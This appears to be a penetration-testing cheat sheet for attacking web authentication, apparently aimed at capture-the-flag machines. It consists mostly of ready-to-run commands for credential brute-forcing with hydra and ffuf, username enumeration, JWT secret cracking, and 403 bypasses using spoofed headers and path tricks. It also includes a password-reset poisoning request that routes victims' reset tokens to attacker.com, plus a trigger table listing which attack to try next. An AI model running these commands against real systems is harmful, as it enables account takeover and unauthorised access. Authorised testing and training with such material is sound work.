Authentication
A. Credentials & Enumeration
Default & weak credentials
Common default pairs to try first:
admin:admin
admin:password
admin:$URL... (check vendor docs / default creds lists)
root:root
administrator:administrator
guest:guest
Check CMS/vendor default creds list:
Username enumeration
Different error messages for valid vs invalid user:
curl -s -X POST $URL/login -d "username=admin&password=x" -o valid.html
curl -s -X POST $URL/login -d "username=doesnotexist&password=x" -o invalid.html
diff valid.html invalid.html
Timing difference (valid user takes longer):
for u in admin test guest; do /usr/bin/time -f "%e $u" curl -s -o /dev/null -X POST $URL/login -d "username=$u&password=x"; done
Password reset / register endpoint leaking existence:
curl -s -X POST $URL/forgot-password -d "email=admin@domain.htb"
curl -s -X POST $URL/register -d "username=admin"
Wordlist-based check:
ffuf -u $URL/login -X POST -d "username=FUZZ&password=x" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -fr "invalid user"
Login brute-force
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
ffuf alternative with filter on failure response:
ffuf -u $URL/login -X POST -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/wordlists/rockyou.txt -fc 200 -fr "Invalid"
Watch for lockout / rate-limit, add delay if needed:
hydra -l admin -P passwords.txt $IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid" -t 4 -W 2
B. Session & Token
Password reset poisoning
Host header injection into reset link:
X-Forwarded-Host:
curl -s -X POST $URL/forgot-password -H "X-Forwarded-Host: attacker.com" -d "email=victim@domain.htb"
Check reset token predictability (sequential, timestamp-based):
IDOR on reset confirm (swap token/user id):
curl -s "$URL/reset-password?token=<token>&user=1"
curl -s "$URL/reset-password?token=<token>&user=2"
JWT & session manipulation
Decode:
alg=none attack:
Crack weak HMAC secret:
jwt_tool <jwt> -C -d /usr/share/wordlists/rockyou.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
Tamper claims (role, user id) and re-sign if secret known:
kid / jku header injection:
Session cookie: check for predictable value / privilege escalation by editing cookie:
C. Access Control Bypass
401/403 bypass
Path tricks:
curl -s $URL/admin/ -o /dev/null -w "%{http_code}\n"
curl -s $URL/admin/. -o /dev/null -w "%{http_code}\n"
curl -s $URL//admin// -o /dev/null -w "%{http_code}\n"
curl -s $URL/admin/..;/ -o /dev/null -w "%{http_code}\n"
curl -s $URL/%2e/admin -o /dev/null -w "%{http_code}\n"
Case change:
curl -s $URL/Admin -o /dev/null -w "%{http_code}\n"
curl -s $URL/ADMIN -o /dev/null -w "%{http_code}\n"
Header spoofing (internal access):
curl -s $URL/admin -H "X-Forwarded-For: 127.0.0.1"
curl -s $URL/admin -H "X-Originating-IP: 127.0.0.1"
curl -s $URL/admin -H "X-Remote-IP: 127.0.0.1"
curl -s $URL/admin -H "X-Custom-IP-Authorization: 127.0.0.1"
Method change:
curl -s -X POST $URL/admin -o /dev/null -w "%{http_code}\n"
curl -s -X HEAD $URL/admin -o /dev/null -w "%{http_code}\n"
curl -s -X TRACE $URL/admin -o /dev/null -w "%{http_code}\n"
Extra headers to override routing:
D. Wrap-up
Triggers
| You see | Do next |
|---|---|
| "Invalid username" vs "Invalid password" | Username enumeration |
| Reset link in response body/headers | Password reset poisoning |
| JWT in cookie/header | Decode and test alg=none, weak secret |
| 403 on known path | Try path tricks and header spoofing |
| No lockout after failed logins | Brute-force with hydra |
| Registration echoes "user exists" | Username enumeration via register |
| Role/privilege in JWT payload | Tamper claim, re-sign if secret cracked |
| Session cookie is short/sequential | Try session fixation / prediction |
Notes
- Always grab a baseline response (valid login) before diffing for enumeration.
- Rate-limit brute-force attempts to avoid lockouts if the box behaves like one.
- JWT
nonealg and weak secrets are the two fastest wins — check both before brute-forcing. - 403 bypass tricks are app/server specific — try several, not just one.
- Keep a captured valid session/JWT to diff against a tampered one.